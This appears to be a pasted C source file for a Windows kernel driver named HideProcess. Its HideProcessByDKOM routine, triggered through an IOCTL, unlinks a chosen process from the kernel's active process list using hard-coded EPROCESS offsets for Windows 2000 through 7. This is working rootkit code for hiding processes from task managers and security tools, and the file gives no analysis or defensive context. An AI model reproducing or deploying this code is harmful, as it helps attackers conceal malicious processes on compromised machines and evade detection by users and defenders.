Pasted

#include <ntifs.h>
 
typedef unsigned long      DWORD;
typedef unsigned char      BYTE;
typedef unsigned short int WORD;
 
 
typedef struct _LDR_DATA_TABLE_ENTRY {
  LIST_ENTRY    InLoadOrderLinks;
  LIST_ENTRY    InMemoryOrderLinks;
  LIST_ENTRY    InInitializationOrderLinks;
  PVOID      DllBase;
  PVOID      EntryPoint;
  ULONG      SizeOfImage;
  UNICODE_STRING  FullDllName;
  UNICODE_STRING  BaseDllName;
  ULONG      Flags;
  WORD       LoadCount;
  WORD       TlsIndex;
 
  union{
     LIST_ENTRY HashLinks;
     struct{
        PVOID SectionPointer;
        ULONG CheckSum;
     };
  };
 
  union{
     ULONG TimeDataStamp;
     PVOID LoadedImports;
  };
 
  //_ACTIVATION_CONTEXT * EntryPointActivationContext;
  PVOID PatchInformation;
  LIST_ENTRY ForwarderLinks;
  LIST_ENTRY ServiceTagLinks;
  LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
 
 
#define DriverName L"\\Device\\HideProcess"
#define DosDeviceName L"\\DosDevices\\HideProcess"
 
 
NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID);
 
 
NTSTATUS CreateDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    return STATUS_SUCCESS;
}
 
NTSTATUS CloseDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    return STATUS_SUCCESS;
}
 
void UnloadDriver(PDRIVER_OBJECT pDriverObject)
{
    UNICODE_STRING uDosDeviceName;
 
    RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);
 
    IoDeleteSymbolicLink(&uDosDeviceName);
    IoDeleteDevice(pDriverObject->DeviceObject);
}
 
NTSTATUS Unsupported(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    return STATUS_NOT_SUPPORTED;
}
 
NTSTATUS IOCTLDispatch(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    PIO_STACK_LOCATION pIoStack = NULL;
    PVOID pInBuffer = NULL;
    NTSTATUS NtStatus = STATUS_SUCCESS;
 
    pIoStack = IoGetCurrentIrpStackLocation(pIrp);
 
    switch (pIoStack->Parameters.DeviceIoControl.IoControlCode)
    {
 
 
    case 0x8000000: //Your Control Code
        pInBuffer = pIrp->AssociatedIrp.SystemBuffer;
        if(pInBuffer)
            NtStatus = HideProcessByDKOM(*(DWORD*)pInBuffer);
        goto END;
 
    default:
        goto END;
    }
 
END:
    pIrp->IoStatus.Status = STATUS_SUCCESS;
    pIrp->IoStatus.Information = 0;
 
    IoCompleteRequest(pIrp, IO_NO_INCREMENT);
 
    return NtStatus;
}
 
NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID)
{
    PLIST_ENTRY pPrevList, pCurrentList, pNextList;
    ULONG MajorVersion, MinorVersion, offset = 0x00;
    PEPROCESS pEprocess;
    NTSTATUS NtStatus = STATUS_SUCCESS;
 
    if(dwTargetPID == 0)
        return STATUS_SUCCESS;
 
    NtStatus = PsLookupProcessByProcessId((HANDLE)dwTargetPID, &pEprocess);
    if(!NT_SUCCESS(NtStatus))
    {
        return NtStatus;
    }
 
    //DebugPrint("EPROCESS:0x%08X\n",pEprocess);
 
    PsGetVersion(&MajorVersion, &MinorVersion, NULL, NULL);
    if(MajorVersion == 5 && MinorVersion == 0) //Windows 2000
        offset = 0xA0;
    else if(MajorVersion == 5 && MinorVersion == 1) //Windows XP
        offset = 0x88;
    else if(MajorVersion == 6 && MinorVersion == 0) //Windows Vista
        offset = 0xA0;
    else if(MajorVersion == 6 && MinorVersion == 1) //Windows 7
        offset = 0xB8;
    else {
        ObDereferenceObject(pEprocess);
        return STATUS_UNSUCCESSFUL;
    }
 
    if(offset == 0)
        return STATUS_UNSUCCESSFUL;
 
 
    //Hiding
    pCurrentList = (PLIST_ENTRY)((PUCHAR)pEprocess + offset);
    pPrevList    = (PLIST_ENTRY)pCurrentList->Blink;
    pNextList    = (PLIST_ENTRY)pCurrentList->Flink;
 
    pPrevList->Flink = (PLIST_ENTRY)pNextList;
    pNextList->Blink = (PLIST_ENTRY)pPrevList;
 
    pCurrentList->Flink = (PLIST_ENTRY)pCurrentList;
    pCurrentList->Blink = (PLIST_ENTRY)pCurrentList;
 
 
    ObDereferenceObject(pEprocess);
 
    return STATUS_SUCCESS;
}
 
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
    UNICODE_STRING uDriverName, uDosDeviceName;
    PDEVICE_OBJECT pDeviceObject;
    int            iIndex = 0;
    NTSTATUS NtStatus = STATUS_SUCCESS;
 
    RtlInitUnicodeString(&uDriverName, DriverName);
    RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);
 
    NtStatus = IoCreateDevice(pDriverObject, 0, &uDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE,  &pDeviceObject);
    if(!NT_SUCCESS(NtStatus)){
        if(NtStatus != STATUS_WAIT_1){
            return NtStatus;
        }
    }
 
    for(iIndex = 0; iIndex < IRP_MJ_MAXIMUM_FUNCTION; iIndex++)
        pDriverObject->MajorFunction[iIndex] = Unsupported;
 
    pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateDriver;
    pDriverObject->MajorFunction[IRP_MJ_CLOSE]  = CloseDriver;
    pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch;
    pDriverObject->DriverUnload = UnloadDriver;
 
    pDeviceObject->Flags |= DO_DIRECT_IO;
    pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);
 
    return STATUS_SUCCESS;
}